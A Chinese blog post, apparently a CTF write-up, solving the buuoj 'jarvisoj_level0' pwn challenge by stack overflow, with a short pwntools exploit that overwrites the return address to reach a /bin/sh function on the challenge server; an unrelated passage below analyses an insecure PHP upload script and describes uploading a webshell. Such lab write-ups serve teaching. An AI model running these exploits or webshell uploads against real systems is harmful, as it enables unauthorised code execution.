buuoj jarvisoj_level0 writeup

题目(五):
【题型】PWN
【题目】jarvisoj_level0
【来源】(buuoj)https://buuoj.cn/challenges#jarvisoj_level0
【思路】栈溢出
【具体步骤】
Step1:checksec一下,发现是一个只开启了NX的64位程序。
在这里插入图片描述

step2:将文件放到IDApro下进行静态分析。
在这里插入图片描述

Step3:查看main函数,F5查看伪代码(如果键被占用,Fn+F5)
在这里插入图片描述

Step4:查看vulnerable_function()函数,发现buf定义了80个字节,猜测是栈溢出漏洞,然后查找一下后门函数。
在这里插入图片描述

Step5:shift+F12查看字符串,发现/bin/sh,点击进去查看,然后shift+x,查看地址为0x400596
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

Step6:编写exp,输入以后,ls查看文件,发现有一个flag.txt文件,cat 查看文件,得到flag。
源码为

from pwn import *
p=remote("node4.buuoj.cn",27786)
payload=b'a'*0x88+p64(0x400596)
p.sendline(payload)
p.interactive()

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,我们需要分析题目所提供的代码: ```php <?php error_reporting(0); if ($_FILES["upload"]["error"] > 0) { echo "Error: " . $_FILES["upload"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["upload"]["name"] . "<br />"; echo "Type: " . $_FILES["upload"]["type"] . "<br />"; echo "Size: " . ($_FILES["upload"]["size"] / 1024) . " Kb<br />"; move_uploaded_file($_FILES["upload"]["tmp_name"], "upload/" . $_FILES["upload"]["name"]); echo "Stored in: " . "upload/" . $_FILES["upload"]["name"]; } ?> ``` 从上述代码中我们可以发现,这是一个文件上传的代码,该代码运行后会将用户上传的文件存储到 `upload` 目录下。 但是,该代码没有对上传的文件类型进行限制,这意味着我们可以上传任何类型的文件,甚至是一些恶意的文件。我们可以尝试上传一些常见的恶意文件,比如 `webshell`。 我们可以在本地创建一个 `webshell.php` 文件,然后上传到服务器上的 `upload` 目录。上传完成后,我们可以访问 `http://xxx.xxx.xxx.xxx/upload/webshell.php` 来执行我们上传的 `webshell`。 最后,我们需要注意的是,该上传脚本没有做任何安全性检查,这意味着我们可以上传任意大小的文件,这可能会影响服务器的性能,甚至导致服务器崩溃。因此,在实际应用中,我们应该对上传的文件大小进行限制,同时对上传的文件类型进行检查,从而确保服务器的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值